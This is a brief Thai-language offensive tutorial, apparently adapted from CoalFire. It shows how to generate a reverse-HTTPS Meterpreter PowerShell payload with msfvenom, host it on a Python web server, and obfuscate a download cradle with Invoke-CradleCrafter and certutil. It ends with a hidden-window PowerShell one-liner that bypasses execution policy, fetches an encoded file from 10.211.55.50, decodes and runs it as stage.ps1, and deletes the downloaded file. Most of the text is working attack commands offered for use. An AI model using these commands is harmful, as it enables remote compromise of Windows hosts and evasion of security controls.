ก่อนหน้านี้เราใช้ unicorn ในการ obfuscate ไปแล้ว คราวนี้เราจะใช้ Invoke-CradleCrafter ในการทำ obfuscation กันบ้าง
1. สร้าง payload powershell ด้วย metasploit
1 |
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=<YOUR IP HERE> LPORT=443 -e cmd/powershell_base64 -f psh -o load.txt |
สร้าง web server สำหรับ deliver load.txt
1 |
python -m SimpleHTTPServer 80 |
2. เรียกใช้งาน Invoke-CradleCrafter
1 |
Import-Module .\Invoke-CradleCrafter.psd1; Invoke-CradleCrafter |
3. เมื่อเข้ามาใน Invoke-CradleCrafter แล้ว ให้เรา set URL สำหรับให้ไปโหลด payload ที่เราสร้างไว้ใน 1)
1 |
set URL http://<IP>:<PORT>/powershell-msfvenom.txt |
เลือกใช้งานหมวด memory และเลือกรันผ่าน certutil
เลือก all และเลือกใช้งานเป็น 1
นำผลลัพธ์ (สีเหลือง) ไปไว้ในไฟล์ raw.txt
4. ทำการ encode ทั้งหมดด้วย base64
1 |
certutil -encode .\raw.txt cert.cer |
5. นำไฟล์ที่ได้จาก cert.cer ไปไว้ใน web server แล้วที่ฝั่ง client ให้รันเพื่อทำการ download และ execute payload โดยใช้คำสั่งเป็น
1 |
powershell.exe -Win hiddeN -Exec ByPasS add-content -path %APPDATA%\cert.cer (New-Object Net.WebClient).DownloadString('http://10.211.55.50/cert.cer'); certutil -decode %APPDATA%\cert.cer %APPDATA%\stage.ps1 & start /b cmd /c powershell.exe -Exec Bypass -NoExit -File %APPDATA%\stage.ps1 & start /b cmd /c del %APPDATA%\cert.cer |
Source:: CoalFire